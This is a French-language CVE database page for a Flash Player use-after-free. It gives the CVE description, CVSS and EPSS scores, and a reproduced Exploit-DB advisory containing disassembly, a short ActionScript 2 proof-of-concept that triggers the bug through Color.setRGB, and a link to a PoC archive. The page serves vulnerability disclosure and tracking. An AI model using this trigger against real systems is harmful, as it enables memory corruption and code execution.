CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
Services & Prix
Aides & Infos
Recherche de CVE id, CWE id, CAPEC id, vendeur ou mots clés dans les CVE
Use-after-free vulnerability in Adobe Flash Player before 13.0.0.302 and 14.x through 18.x before 18.0.0.203 on Windows and OS X and before 11.2.202.481 on Linux, Adobe AIR before 18.0.0.180, Adobe AIR SDK before 18.0.0.180, and Adobe AIR SDK & Compiler before 18.0.0.180 allows attackers to execute arbitrary code via unspecified vectors, a different vulnerability than CVE-2015-3118, CVE-2015-3124, CVE-2015-3127, CVE-2015-3129, CVE-2015-3131, CVE-2015-3132, CVE-2015-3136, CVE-2015-3137, CVE-2015-4428, CVE-2015-4430, and CVE-2015-5117.
Informations du CVE
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V2
10
AV:N/AC:L/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
46.96%
–
–
2022-11-13
–
–
46.96%
–
–
2022-11-20
–
–
46.96%
–
–
2022-12-04
–
–
46.96%
–
–
2023-03-12
–
–
–
90.27%
–
2023-04-02
–
–
–
90.53%
–
2023-05-07
–
–
–
88.27%
–
2023-07-09
–
–
–
90.71%
–
2023-10-15
–
–
–
90.66%
–
2023-11-12
–
–
–
90.53%
–
2024-03-17
–
–
–
90.19%
–
2024-06-02
–
–
–
90.19%
–
2024-11-17
–
–
–
90.64%
–
2024-12-22
–
–
–
70.65%
–
2025-01-05
–
–
–
67.6%
–
2025-01-19
–
–
–
67.6%
–
2025-03-18
–
–
–
–
51.46%
2025-03-30
–
–
–
–
42.69%
2025-04-06
–
–
–
–
51.46%
2025-04-11
–
–
–
–
42.69%
2025-04-12
–
–
–
–
51.46%
2025-04-12
–
–
–
–
51.46,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2015-08-18 22h00 +00:00 Auteur : bilou EDB Vérifié : Yes
Source: https://code.google.com/p/google-security-research/issues/detail?id=367&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id
[Deadline tracking for Chromium VRP bug https://code.google.com/p/chromium/issues/detail?id=484610]
Credit is to bilou, working with the Chromium Vulnerability Rewards Program.
---
VULNERABILITY DETAILS
When calling Color.setRGB in AS2 it is possible to free the target_mc object used in the Color constructor while a reference remains in the stack.
VERSION
Chrome Version: Chrome stable 42.0.2311.90 with Flash 17.0.0.169
Operating System: Win7 x64 SP1
REPRODUCTION CASE
The Color constructor needs a target_mc object like a MovieClip, a TextField etc. While calling Color.setRGB with a custom object, it is possible to execute arbitrary AS2 code that might delete the target_mc object leading to a UAF.
(These lines come from flashplayer17_sa.exe 17.0.0.169):
.text:004B82D0 push esi
.text:004B82D1 mov esi, [esp+4+arg_0]
.text:004B82D5 push edi
.text:004B82D6 mov edi, ecx
.text:004B82D8 mov ecx, [edi+94h] ; edi points to freed memory
.text:004B82DE and ecx, 0FFFFFFFEh
.text:004B82E1 add ecx, 3Ch
.text:004B82E4 mov eax, esi
.text:004B82E6 call sub_4B0724 ; crash below
...
.text:004B0724 mov edx, [ecx] ; crash here ecx = 3ch (null pointer)
.text:004B0726 cmp edx, [eax]
.text:004B0728 jnz short loc_4B077E
Compile the poc with Flash CS5.5
***************************************************************************
Content of as2_color_uaf.fla:
var tf:TextField = this.createTextField("tf",1,1,1,4,4)
var o = new Object()
o.valueOf = function () {
tf.removeTextField()
return 0x41414142
}
var c = new Color(tf)
c.setRGB(o)
---
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37860.zip